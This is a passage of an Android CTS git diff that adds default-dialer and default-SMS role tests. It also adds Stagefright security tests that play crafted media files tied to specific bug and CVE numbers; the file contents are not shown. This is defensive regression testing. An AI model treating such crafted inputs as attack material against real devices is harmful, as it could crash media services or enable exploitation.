+++ b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultDialerActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.telecom.TelecomManager;
+
+/**
+ * An activity that tries to change the default dialer app.
+ */
+public class ChangeDefaultDialerActivity extends Activity {
+
+ private static final int REQUEST_CODE_CHANGE_DEFAULT_DIALER = 1;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ if (savedInstanceState == null) {
+ String packageName = getIntent().getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+ Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER)
+ .putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME, packageName);
+ startActivityForResult(intent, REQUEST_CODE_CHANGE_DEFAULT_DIALER);
+ }
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (requestCode == REQUEST_CODE_CHANGE_DEFAULT_DIALER) {
+ setResult(resultCode, data);
+ finish();
+ } else {
+ super.onActivityResult(requestCode, resultCode, data);
+ }
+ }
+}
diff --git a/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultSmsActivity.java b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultSmsActivity.java
new file mode 100644
index 00000000000..00559bf4439
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultSmsActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Telephony;
+
+/**
+ * An activity that tries to change the default SMS app.
+ */
+public class ChangeDefaultSmsActivity extends Activity {
+
+ private static final int REQUEST_CODE_CHANGE_DEFAULT_SMS = 1;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ if (savedInstanceState == null) {
+ String packageName = getIntent().getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+ Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT)
+ .putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, packageName);
+ startActivityForResult(intent, REQUEST_CODE_CHANGE_DEFAULT_SMS);
+ }
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (requestCode == REQUEST_CODE_CHANGE_DEFAULT_SMS) {
+ setResult(resultCode, data);
+ finish();
+ } else {
+ super.onActivityResult(requestCode, resultCode, data);
+ }
+ }
+}
diff --git a/tests/tests/role/CtsRoleTestApp28/Android.bp b/tests/tests/role/CtsRoleTestApp28/Android.bp
new file mode 100644
index 00000000000..0d89f4e6718
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp28/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsRoleTestApp28",
+ sdk_version: "test_current",
+
+ srcs: [
+ "src/**/*.java"
+ ],
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ]
+}
diff --git a/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml
new file mode 100644
index 00000000000..8fd7012a420
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.app.role.cts.app28">
+
+ <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+
+ <application
+ android:label="CtsRoleTestApp28">
+
+ <activity
+ android:name=".ChangeDefaultDialerActivity"
+ android:exported="true" />
+
+ <activity
+ android:name=".ChangeDefaultSmsActivity"
+ android:exported="true" />
+
+ <!-- Dialer -->
+ <activity android:name=".DialerDialActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.DIAL" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.intent.action.DIAL" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <data android:scheme="tel" />
+ </intent-filter>
+ </activity>
+
+ <!-- Sms -->
+ <activity android:name=".SmsSendToActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.SENDTO" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <data android:scheme="smsto" />
+ </intent-filter>
+ </activity>
+ <service
+ android:name=".SmsRespondViaMessageService"
+ android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
+ <intent-filter>
+ <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <data android:scheme="smsto" />
+ </intent-filter>
+ </service>
+ <receiver
+ android:name=".SmsDelieverReceiver"
+ android:permission="android.permission.BROADCAST_SMS">
+ <intent-filter>
+ <action android:name="android.provider.Telephony.SMS_DELIVER" />
+ </intent-filter>
+ </receiver>
+ <receiver
+ android:name=".SmsWapPushDelieverReceiver"
+ android:permission="android.permission.BROADCAST_WAP_PUSH">
+ <intent-filter>
+ <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
+ <data android:mimeType="application/vnd.wap.mms-message" />
+ </intent-filter>
+ </receiver>
+ </application>
+</manifest>
diff --git a/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultDialerActivity.java b/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultDialerActivity.java
new file mode 100644
index 00000000000..5d1c47cfc63
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultDialerActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+*
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app28;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.telecom.TelecomManager;
+
+/**
+ * An activity that tries to change the default dialer app.
+ */
+public class ChangeDefaultDialerActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ if (savedInstanceState == null) {
+ String packageName = getIntent().getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+ Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER)
+ .putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME, packageName);
+ startActivity(intent);
+ }
+ }
+}
diff --git a/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultSmsActivity.java b/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultSmsActivity.java
new file mode 100644
index 00000000000..37819bbec44
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultSmsActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app28;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Telephony;
+import android.telecom.TelecomManager;
+
+/**
+ * An activity that tries to change the default SMS app.
+ */
+public class ChangeDefaultSmsActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ if (savedInstanceState == null) {
+ String packageName = getIntent().getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+ Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT)
+ .putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, packageName);
+ startActivity(intent);
+ }
+ }
+}
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 736e501e688..b4f6ac7c57b 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -35,10 +35,12 @@ import android.content.pm.PackageManager;
import android.content.pm.PermissionInfo;
import android.os.Process;
import android.os.UserHandle;
+import android.provider.Telephony;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
+import android.telecom.TelecomManager;
import android.util.Log;
import android.util.Pair;
@@ -50,6 +52,7 @@ import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.AppOpsUtils;
+import com.android.compatibility.common.util.TestUtils;
import com.android.compatibility.common.util.ThrowingRunnable;
import org.junit.After;
@@ -91,6 +94,18 @@ public class RoleManagerTest {
+ ".extra.IS_ROLE_HELD";
private static final String APP_REQUEST_ROLE_ACTIVITY_NAME = APP_PACKAGE_NAME
+ ".RequestRoleActivity";
+ private static final String APP_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME = APP_PACKAGE_NAME
+ + ".ChangeDefaultDialerActivity";
+ private static final String APP_CHANGE_DEFAULT_SMS_ACTIVITY_NAME = APP_PACKAGE_NAME
+ + ".ChangeDefaultSmsActivity";
+
+ private static final String APP_28_APK_PATH = "/data/local/tmp/cts/role/CtsRoleTestApp28.apk";
+ private static final String APP_28_PACKAGE_NAME = "android.app.role.cts.app28";
+ private static final String APP_28_LABEL = "CtsRoleTestApp28";
+ private static final String APP_28_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME = APP_28_PACKAGE_NAME
+ + ".ChangeDefaultDialerActivity";
+ private static final String APP_28_CHANGE_DEFAULT_SMS_ACTIVITY_NAME = APP_28_PACKAGE_NAME
+ + ".ChangeDefaultSmsActivity";
private static final String PERMISSION_MANAGE_ROLES_FROM_CONTROLLER =
"com.android.permissioncontroller.permission.MANAGE_ROLES_FROM_CONTROLLER";
@@ -107,7 +122,6 @@ public class RoleManagerTest {
new ActivityTestRule<>(WaitForResultActivity.class);
private String mRoleHolder;
- private int mCurrentUserId;
@Before
public void saveRoleHolder() throws Exception {
@@ -133,13 +147,14 @@ public class RoleManagerTest {
@Before
public void installApp() throws Exception {
- mCurrentUserId = Process.myUserHandle().getIdentifier();
installPackage(APP_APK_PATH);
+ installPackage(APP_28_APK_PATH);
}
@After
public void uninstallApp() throws Exception {
uninstallPackage(APP_PACKAGE_NAME);
+ uninstallPackage(APP_28_PACKAGE_NAME);
}
@Before
@@ -354,15 +369,67 @@ public class RoleManagerTest {
}
private void clearPackageData(@NonNull String packageName) {
- runShellCommand("pm clear --user " + mCurrentUserId + " " + packageName);
+ runShellCommand("pm clear --user " + Process.myUserHandle().getIdentifier() + " "
+ + packageName);
}
private void installPackage(@NonNull String apkPath) {
- runShellCommand("pm install -r --user " + mCurrentUserId + " " + apkPath);
+ runShellCommand("pm install -r --user " + Process.myUserHandle().getIdentifier() + " "
+ + apkPath);
}
private void uninstallPackage(@NonNull String packageName) {
- runShellCommand("pm uninstall --user " + mCurrentUserId + " " + packageName);
+ runShellCommand("pm uninstall --user " + Process.myUserHandle().getIdentifier() + " "
+ + packageName);
+ }
+
+ @Test
+ public void targetCurrentSdkAndChangeDefaultDialerThenIsCanceled() throws Exception {
+ WaitForResultActivity activity = mActivityRule.getActivity();
+ activity.startActivityToWaitForResult(new Intent()
+ .setComponent(new ComponentName(APP_PACKAGE_NAME,
+ APP_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME))
+ .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_PACKAGE_NAME));
+ Pair<Integer, Intent> result = activity.waitForActivityResult(TIMEOUT_MILLIS);
+ assertThat(result.first).isEqualTo(Activity.RESULT_CANCELED);
+ }
+
+ @Test
+ public void targetCurrentSdkAndChangeDefaultSmsThenIsCanceled() throws Exception {
+ WaitForResultActivity activity = mActivityRule.getActivity();
+ activity.startActivityToWaitForResult(new Intent()
+ .setComponent(new ComponentName(APP_PACKAGE_NAME,
+ APP_CHANGE_DEFAULT_SMS_ACTIVITY_NAME))
+ .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_PACKAGE_NAME));
+ Pair<Integer, Intent> result = activity.waitForActivityResult(TIMEOUT_MILLIS);
+ assertThat(result.first).isEqualTo(Activity.RESULT_CANCELED);
+ }
+
+ @Test
+ public void targetSdk28AndChangeDefaultDialerAndAllowThenIsDefaultDialer() throws Exception {
+ sContext.startActivity(new Intent()
+ .setComponent(new ComponentName(APP_28_PACKAGE_NAME,
+ APP_28_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME))
+ .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_28_PACKAGE_NAME)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ sUiDevice.wait(Until.findObject(By.text(APP_28_LABEL)), TIMEOUT_MILLIS).click();
+ sUiDevice.wait(Until.findObject(By.res("android:id/button1")), TIMEOUT_MILLIS).click();
+ TelecomManager telecomManager = sContext.getSystemService(TelecomManager.class);
+ TestUtils.waitUntil("App is not set as default dialer app", () -> Objects.equals(
+ telecomManager.getDefaultDialerPackage(), APP_28_PACKAGE_NAME));
+ }
+
+ @Test
+ public void targetSdk28AndChangeDefaultSmsAndAllowThenIsDefaultSms() throws Exception {
+ sContext.startActivity(new Intent()
+ .setComponent(new ComponentName(APP_28_PACKAGE_NAME,
+ APP_28_CHANGE_DEFAULT_SMS_ACTIVITY_NAME))
+ .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_28_PACKAGE_NAME)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ sUiDevice.wait(Until.findObject(By.text(APP_28_LABEL)), TIMEOUT_MILLIS).click();
+ sUiDevice.wait(Until.findObject(By.res("android:id/button1")), TIMEOUT_MILLIS).click();
+ TestUtils.waitUntil("App is not set as default sms app", () -> Objects.equals(
+ Telephony.Sms.getDefaultSmsPackage(sContext), APP_28_PACKAGE_NAME));
}
@Test
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index f4ae8a723d7..3d4498d8d33 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -27,6 +27,7 @@ LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestserver \
ctstestrunner-axt \
compatibility-device-util-axt \
+ compatibility-common-util-devicesidelib \
guava \
platform-test-annotations
diff --git a/tests/tests/security/res/raw/bug_23285192.mp3 b/tests/tests/security/res/raw/bug_23285192.mp3
new file mode 100644
index 00000000000..b86e4d8d6a5
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_23285192.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_25928803.mp4 b/tests/tests/security/res/raw/bug_25928803.mp4
new file mode 100644
index 00000000000..54d07d52b69
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_25928803.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_26399350_avc.mp4 b/tests/tests/security/res/raw/bug_26399350_avc.mp4
new file mode 100644
index 00000000000..e6df897bca7
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_26399350_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36279112.mp4 b/tests/tests/security/res/raw/bug_36279112.mp4
new file mode 100644
index 00000000000..1a970ff1baf
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36279112.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37203196_framelen.mp4 b/tests/tests/security/res/raw/bug_37203196_framelen.mp4
new file mode 100644
index 00000000000..223b756f52f
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37203196_framelen.mp4
@@ -0,0 +1,8 @@
+43
+3015
+2122
+1310
+1599
+4391
+3429
+15
diff --git a/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4 b/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4
new file mode 100644
index 00000000000..1b59a7e2be5
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
new file mode 100644
index 00000000000..261e173fa34
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
new file mode 100644
index 00000000000..e8f1c41bb1a
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
new file mode 100644
index 00000000000..ecc10cb76d4
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
new file mode 100644
index 00000000000..34851ade9be
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_11287.mp4 b/tests/tests/security/res/raw/cve_2018_11287.mp4
new file mode 100644
index 00000000000..796867b6454
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_11287.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index b806e1b2a72..5679177c83d 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -69,6 +69,7 @@ import java.util.ArrayList;
import java.util.HashMap;
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.ReentrantLock;
+import java.util.regex.Pattern;
import org.json.JSONArray;
import org.json.JSONException;
@@ -76,6 +77,7 @@ import org.json.JSONObject;
import android.security.cts.R;
+import android.security.NetworkSecurityPolicy;
/**
* Verify that the device is not vulnerable to any known Stagefright
@@ -556,6 +558,14 @@ public class StagefrightTest extends InstrumentationTestCase {
doStagefrightTest(R.raw.bug_32873375);
}
+ @SecurityTest(minPatchLevel = "2018-02")
+ public void testStagefright_bug_63522067() throws Exception {
+ doStagefrightTestRawBlob(R.raw.bug_63522067_1_hevc, "video/hevc", 320, 420);
+ doStagefrightTestRawBlob(R.raw.bug_63522067_2_hevc, "video/hevc", 320, 420);
+ doStagefrightTestRawBlob(R.raw.bug_63522067_3_hevc, "video/hevc", 320, 420);
+ doStagefrightTestRawBlob(R.raw.bug_63522067_4_hevc, "video/hevc", 320, 420);
+ }
+
@SecurityTest(minPatchLevel = "2016-03")
public void testStagefright_bug_25765591() throws Exception {
doStagefrightTest(R.raw.bug_25765591);
@@ -804,12 +814,40 @@ public class StagefrightTest extends InstrumentationTestCase {
before any existing test methods
***********************************************************/
+ @SecurityTest(minPatchLevel = "2017-07")
+ public void testStagefright_bug_36279112() throws Exception {
+ doStagefrightTest(R.raw.bug_36279112);
+ }
+
+ @SecurityTest(minPatchLevel = "2017-08")
+ public void testBug_37203196() throws Exception {
+ int[] frameSizes = getFrameSizes(R.raw.bug_37203196_framelen);
+ doStagefrightTestRawBlob(R.raw.bug_37203196_mpeg2, "video/mpeg2", 48, 48, frameSizes);
+ }
+
@SecurityTest(minPatchLevel = "2018-06")
public void testBug_73552574() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_73552574_framelen);
doStagefrightTestRawBlob(R.raw.bug_73552574_avc, "video/avc", 320, 240, frameSizes);
}
+ @SecurityTest(minPatchLevel = "2015-09")
+ public void testStagefright_bug_23285192() throws Exception {
+ doStagefrightTest(R.raw.bug_23285192);
+ }
+
+ @SecurityTest(minPatchLevel = "2016-03")
+ public void testStagefright_bug_25928803() throws Exception {
+ doStagefrightTest(R.raw.bug_25928803);
+ }
+
+ @SecurityTest(minPatchLevel = "2016-04")
+ public void testBug_26399350() throws Exception {
+ int[] frameSizes = {657, 54930};
+ doStagefrightTestRawBlob(R.raw.bug_26399350_avc, "video/avc", 640, 480,
+ frameSizes);
+ }
+
@SecurityTest(minPatchLevel = "2018-12")
public void testBug_113260892() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_113260892_hevc, "video/hevc", 320, 240);
@@ -947,6 +985,11 @@ public class StagefrightTest extends InstrumentationTestCase {
before any existing test methods
***********************************************************/
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testStagefright_cve_2018_11287() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_11287, 180000);
+ }
+
@SecurityTest(minPatchLevel = "2018-03")
public void testStagefright_cve_2017_17773() throws Exception {
doStagefrightTest(R.raw.cve_2017_17773);
@@ -1056,6 +1099,8 @@ public class StagefrightTest extends InstrumentationTestCase {
}
private void doStagefrightTest(final int rid) throws Exception {
+ NetworkSecurityPolicy policy = NetworkSecurityPolicy.getInstance();
+ policy.setCleartextTrafficPermitted(true);
doStagefrightTestMediaPlayer(rid);
doStagefrightTestMediaCodec(rid);
doStagefrightTestMediaMetadataRetriever(rid);
@@ -1077,6 +1122,7 @@ public class StagefrightTest extends InstrumentationTestCase {
doStagefrightTestMediaPlayer(url);
doStagefrightTestMediaCodec(url);
doStagefrightTestMediaMetadataRetriever(url);
+ policy.setCleartextTrafficPermitted(false);
server.shutdown();
}
@@ -1153,8 +1199,23 @@ public class StagefrightTest extends InstrumentationTestCase {
MediaPlayer.OnPreparedListener,
MediaPlayer.OnCompletionListener {
- private final String[] validProcessNames = {
- "mediaserver", "mediadrmserver", "media.extractor", "media.codec", "media.metrics"
+ private final Pattern[] validProcessPatterns = {
+ Pattern.compile("adsprpcd"),
+ Pattern.compile("android\\.hardware\\.cas@\\d+?\\.\\d+?-service"),
+ Pattern.compile("android\\.hardware\\.drm@\\d+?\\.\\d+?-service"),
+ Pattern.compile("android\\.hardware\\.drm@\\d+?\\.\\d+?-service\\.clearkey"),
+ Pattern.compile("android\\.hardware\\.drm@\\d+?\\.\\d+?-service\\.widevine"),
+ Pattern.compile("android\\.process\\.media"),
+ Pattern.compile("mediadrmserver"),
+ Pattern.compile("media\\.extractor"),
+ Pattern.compile("media\\.metrics"),
+ Pattern.compile("mediaserver"),
+ Pattern.compile("media\\.codec"),
+ Pattern.compile("media\\.swcodec"),
+ Pattern.compile("\\[?sdcard\\]?"), // name:/system/bin/sdcard, user:media_rw
+ // Match any vendor processes.
+ // It should only catch crashes that happen during the test.
+ Pattern.compile("vendor.*"),
};
@Override
@@ -1202,7 +1263,7 @@ public class StagefrightTest extends InstrumentationTestCase {
if (crashes == null) {
Log.e(TAG, "Crash results not found for test " + getName());
return what;
- } else if (CrashUtils.detectCrash(validProcessNames, true, crashes)) {
+ } else if (CrashUtils.securityCrashDetected(crashes, true, validProcessPatterns)) {
return what;
} else {
Log.i(TAG, "Crash ignored due to no security crash found for test " +
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
index 7628c821102..79b6bd151fa 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
@@ -18,7 +18,7 @@ package android.content.pm.cts.shortcutmanager;
import static android.content.pm.cts.shortcutmanager.common.Constants.INLINE_REPLY_REMOTE_INPUT_CAPTION;
-import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.resetThrottling;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.resetAllThrottling;
import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.runCommandForNoOutput;
import android.content.ComponentName;
@@ -64,7 +64,7 @@ public class ShortcutManagerThrottlingTest extends ShortcutManagerCtsTestsBase {
protected void setUp() throws Exception {
super.setUp();
- resetThrottling(getInstrumentation());
+ resetAllThrottling(getInstrumentation());
UiDevice.getInstance(getInstrumentation()).pressHome();
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 5b519b2fd2f..6bb72ecbdbc 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -27,7 +27,9 @@ LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util-axt \
ctstestrunner-axt \
+ cts-wm-util \
androidx.test.rules \
ub-uiautomator
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
index dbf3e7665d3..9da89beaeb4 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -94,64 +94,6 @@ public class LightBarTestBase {
}
}
- private boolean hasVirtualNavigationBar(ActivityTestRule<? extends LightBarBaseActivity> rule)
- throws Throwable {
- final WindowInsets[] inset = new WindowInsets[1];
- rule.runOnUiThread(()-> {
- inset[0] = rule.getActivity().getRootWindowInsets();
- });
- return inset[0].getStableInsetBottom() > 0;
- }
-
- private boolean isRunningInVr() {
- final Context context = InstrumentationRegistry.getContext();
- final Configuration config = context.getResources().getConfiguration();
- return (config.uiMode & Configuration.UI_MODE_TYPE_MASK)
- == Configuration.UI_MODE_TYPE_VR_HEADSET;
- }
-
- private void assumeBasics() {
- final PackageManager pm = getInstrumentation().getContext().getPackageManager();
-
- // No bars on embedded devices.
- assumeFalse(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_EMBEDDED));
-
- // No bars on TVs and watches.
- // Automotive navigation bar is not transparent
- assumeFalse(pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
- || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
- || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
- || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
-
-
- // Non-highEndGfx devices don't do colored system bars.
- assumeTrue(ActivityManager.isHighEndGfx());
- }
-
- protected void assumeHasColoredStatusBar(ActivityTestRule<? extends LightBarBaseActivity> rule)
- throws Throwable {
- assumeBasics();
-
- // No status bar when running in Vr
- assumeFalse(isRunningInVr());
-
- // Status bar exists only when top stable inset is positive
- final WindowInsets[] inset = new WindowInsets[1];
- rule.runOnUiThread(()-> {
- inset[0] = rule.getActivity().getRootWindowInsets();
- });
- assumeTrue("Top stable inset is non-positive.", inset[0].getStableInsetTop() > 0);
- }
-
